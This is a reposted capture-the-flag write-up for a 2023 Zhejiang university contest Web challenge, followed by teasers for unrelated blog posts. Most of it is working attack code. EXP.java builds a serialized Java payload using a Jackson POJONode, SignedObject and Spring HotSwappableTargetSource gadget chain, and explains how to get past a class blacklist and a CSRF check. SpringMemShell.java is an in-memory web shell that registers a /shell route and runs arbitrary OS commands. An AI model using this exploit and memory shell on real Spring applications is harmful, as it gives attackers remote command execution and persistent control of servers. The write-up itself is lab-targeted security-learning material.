【Web】2023浙江大学生省赛初赛 secObj 题解

目录

step 0

step 1

step 2

step 3


题目本身是不难,简单复健一下

step 0

pom依赖就是spring

反序列化入口在./admin/user/readObj 

输入流做了黑名单的过滤,TemplatesImpl不能直接打

可以jackson打SignedObject二次反序列化绕过 

具体原理看下面这篇文章

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

step 1

上面那篇文章其实唯一要我们去思考的点就是如何触发toString,方法很多,具体看下面这篇文章

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

 javax.management被ban了,所以不能用javax.management.BadAttributeValueExpException作为入口

考虑到spring依赖,可以打HotSwappableTargetSource利用链,这里套两次就可

HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> POJONode#toString -> SignedObject#getObject 
-> HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> TemplatesImpl#getOutputProperties

 注意靶机不出网,所以考虑注内存马或打spring回显类

step 2

直接访问./admin/user/hello是可以直接绕过鉴权的

 但若直接post传参会报403,原因是Spring Security默认会开启csrf验证,防止csrf攻击

./login随便输入内容尝试登录,会发现post中存在_csrf字段 

 

所以我们打入payload时也要附带上_csrf和配套的JSESSIONID

step 3

EXP.java

package com.example.demo.exp;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;public class EXP {public static void main(String[] args) throws Exception {// 删除 BaseJsonNode#writeReplace 方法ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();// 靶机不出网,打Spring内存马byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();Templates templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "xxx");setFieldValue(templatesImpl, "_tfactory", null);// 内层 HashMap#readObject -> TemplatesImpl#getTransletInstancePOJONode inJsonNodes = new POJONode(makeTemplatesImplAopProxy(templatesImpl));HotSwappableTargetSource inHotSwappableTargetSource1 = new HotSwappableTargetSource(inJsonNodes);HotSwappableTargetSource inHotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("xxx"));HashMap inHashMap = makeMap(inHotSwappableTargetSource1, inHotSwappableTargetSource2);// SignedObject#getObject -> 内层 HashMap#readObjectKeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(inHashMap, privateKey, signingEngine);// 外层 HashMap#readObject -> SignedObject#getObjectPOJONode jsonNodes = new POJONode(signedObject);HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("xxx"));HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);// 序列化外层 HashMap#readObjectByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(hashMap);objectOutputStream.close();String res = Base64.getEncoder().encodeToString(barr.toByteArray());System.out.println(res);}// 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templates);Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);return proxy;}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}
}

SpringMemShell.java

package com.example.demo.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;public class SpringMemShell extends AbstractTranslet{static {try {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");configField.setAccessible(true);RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();SpringMemShell springControllerMemShell = new SpringMemShell();mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);} catch (Exception hi) {
//            hi.printStackTrace();}}public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

url一次编码后在./admin/user/readObj打入payload

成功写入内存马,命令执行拿flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/9813.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

全新时代的降临——比亚迪,助力未来出行

近日&#xff0c;世界舞台中央聚焦&#xff0c;比亚迪登上欧洲顶级赛事赞助席位&#xff0c;让全球见证中国新能源汽车传奇崛起&#xff01;作为新能源领袖品牌&#xff0c;比亚迪现已累计销售突破730万辆&#xff0c;全球每售出五辆新能源汽车&#xff0c;便有一辆来自比亚迪。…

支付漏洞防护绕过的一种方式

首先注册一个账户并进行登陆,点击一个商品点击进去 这里为了方便查看数据包,我这边商品的数量选择3,点击立即购买并抓包 观察数据包,发现有个num传参,正是我选择的数量3,尝试修改为负数-3,这里需要修改两个包 点击提交后发现报错了,显示已经付了或者金额不能为0 也就是说数量…

【SRC实战】利用APP前端加密构造数据包

挖个洞先 https://mp.weixin.qq.com/s/ZnaRn222xJU0MQxWoRaiJg “ 以下漏洞均为实验靶场&#xff0c;如有雷同&#xff0c;纯属巧合” 01 — 漏洞证明 “ 参数加密的情况&#xff0c;不会逆向怎么办&#xff1f;” 1、新用户首次设置密码时抓包&#xff0c;此处设置为0000…

快充插线板怎么选?我的办公搭子是它!

最近我入手了一款倍思65W氮化镓快充插线板,不得不说真的是我的办公好搭子。在这里跟大家分享一下使用体验,希望能给正在挑选快充插线板的你一些参考。 首先,这款插线板的外观真的很讨喜。纯白色的长方体造型,简约而不失时尚感,放在办公桌上非常百搭。而且,它的体积小巧,长度比我…

QT7_视频知识点笔记_2_对话框,布局,按钮,控件(查看帮助文档找功能函数)

第二天&#xff1a; 对话框&#xff0c;布局&#xff0c;按钮 QMainWindow&#xff1a;菜单下拉框添加之后可通过ui->actionXXX&#xff08;自定义的选项名&#xff09;访问&#xff0c;用信号triggered发出信号&#xff0c;槽函数可以使用lambda表达式进行 //菜单栏&am…

【LLM 论文】UPRISE:使用 prompt retriever 检索 prompt 来让 LLM 实现 zero-shot 解决 task

论文&#xff1a;UPRISE: Universal Prompt Retrieval for Improving Zero-Shot Evaluation ⭐⭐⭐⭐ EMNLP 2023, Microsoft Code&#xff1a;https://github.com/microsoft/LMOps 一、论文速读 这篇论文提出了 UPRISE&#xff0c;其思路是&#xff1a;训练一个 prompt retri…

代码随想录算法训练营第六十三天|84.柱状图中最大的矩形

代码随想录算法训练营第六十三天|84.柱状图中最大的矩形 84.柱状图中最大的矩形 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1 。 求在该柱状图中&#xff0c;能够勾勒出来的矩形的最大面积。 示例 1: 输入&…

真正的AI 设备:M4 加持iPad Pro

M4来了 北京时间 5/7 晚上&#xff0c;Apple正式发布了其M4 芯片&#xff0c;其对本地化的神经网络加速是一次越级的提升&#xff0c;第一次落地选在iPad上进行部署&#xff0c;从行业的角度是一个明智的选择&#xff0c;相比Mac Pro&#xff0c; iPad 的创作属性更加纯正&…

【YOLO 系列】基于YOLO V8的金属表面缺陷检测检测识别系统【python源码+Pyqt5界面+数据集+训练代码】

前言&#xff1a; 金属表面缺陷的及时检测对于保障产品质量和生产安全至关重要。然而&#xff0c;传统的人工检测方法往往效率低下、耗时长&#xff0c;并且容易受主观因素影响。为了解决这一问题&#xff0c;我们提出了基于深度学习技术的金属表面缺陷检测系统。 本项目采用…

配置OpenSSH/stelnet

其他远程连接工具&#xff1a;telent、realVNC、RSH、RCP等&#xff0c;SSH更加安全可靠 一、配置OpenSSH/stelnet 1.配置服务端 # vim /etc/ssh/sshd_config //修改ssh配置文件 Port 22 //监听端口 AddressFamily any //使用哪种地址簇&#xff0c;any包含v4、v6&#xff0c…

目前市面上堡垒机厂家有哪些?会帮忙部署吗?

随着大家对于网络安全的重视&#xff0c;越来越多的企业准备采购堡垒机了。不少企业在问&#xff0c;目前市面上堡垒机厂家有哪些&#xff1f;会帮忙部署吗&#xff1f;这里我们小编就来简单为大家回答一下&#xff0c;仅供参考哈&#xff01; 目前市面上堡垒机厂家有哪些&…

SAM轻量化应用Auto-SAM、Group-Mix SAM、RAP-SAM、STLM

1. Auto SAM&#xff08;Auto-Prompting SAM for Mobile Friendly 3D Medical Image Segmentation&#xff09; 1.1 面临问题 医学背景&#xff1a; &#xff08;1&#xff09;与自然图像相比&#xff0c;医学图像的尺寸更小&#xff0c;形状不规则&#xff0c;对比度更低。&…

接口测试用例设计思路(通俗易懂)

一、接口测试的流程&#xff1a; 需求分析(需求文档、开发提供接口文档)→测试设计→测试用例评审→测试执行→验收→预发布→上线 二、基本功能流程测试&#xff1a; 冒烟测试(主业务的正向流程)、正常流程覆盖测试(正常分支的业务流程进行覆盖→分支覆盖、路径覆盖、业务场…

零基础怎么快速进行单细胞分析?

近一段时间正在努力学习单细胞相关的理论知识&#xff0c;发现单细胞测序和普通的真核细胞的转录组非常相似。两者之间的最大的区别在于&#xff0c;一个测的是单个细胞的表达&#xff0c;一个测的是一堆细胞的表达之和。所以从这里就可以理解&#xff0c;为什么网上很多教程都…

【c++算法篇】双指针(下)

&#x1f525;个人主页&#xff1a;Quitecoder &#x1f525;专栏&#xff1a;算法笔记仓 朋友们大家好啊&#xff0c;本篇文章我们来到算法的双指针的第二部分 目录 1.有效三角形的个数2.查找总价格为目标值的两个商品3.三数之和4.四数之和5.双指针常见场景总结 1.有效三角形…

解决 SyntaxError: Unexpected token ‘.‘ 报错问题

这个报错一般是编译问题&#xff0c;浏览器的版本过低没通过代码 解决办法&#xff1a; 在package.json文件中加上这个 "browserslist": ["> 1%","last 2 versions","not dead","not ie < 6","Android > 4&…

98、技巧-颜色分类

思路 这道题的思路是什么&#xff0c;首先典型荷兰国旗问题&#xff1a; 该问题的关键在于我们要将所有的0放到数组的前部&#xff0c;所有的1放在中间&#xff0c;所有的2放在后部。这可以通过使用两个指针&#xff0c;一个指向数组开头的“0”的最后一个位置&#xff0c;另…

如何确保UDP文件传输工具有最低稳定的传输速度?

在当前日新月异的数字时代背景下&#xff0c;文件传输工具已经成为我们日常生活与工作中不可或缺的一部分&#xff0c;尤其针对那些频繁涉及即时数据交互与多媒体流通的场景。 UDP协议&#xff0c;以其突出的高速传输与低延迟特性&#xff0c;脱颖而出成为众多用户的首选。不过…

Python管理PVE(Proxmox VE)云平台--节点资源统计

一、前言 写本脚本的初衷是因手动查看统计已分配的PVE资源过于耗时&#xff0c;因此写一个脚本一劳永逸&#xff0c;具体实现方法&#xff1a;利用Python的paramiko模块进行远程命令查看、统计PVE平台各节点已分配的cpu、内存、磁盘空间。 二、步骤 1.构建shell脚本 1.1 统计…

Ubuntu系统下编译OpenCV4.8源码

OpenCV4.8源码编译与安装 其实很简单&#xff0c;只要三步即可搞定&#xff0c;第一步是下载指定版本的源码包&#xff1b;第二步是安装OpenCV4.8编译需要的编译器与第三方库支持&#xff1b;第三步就是编译OpenCV源码包生成安装文件并安装。 01下载OpenCV4.8源码包 在Ubunt…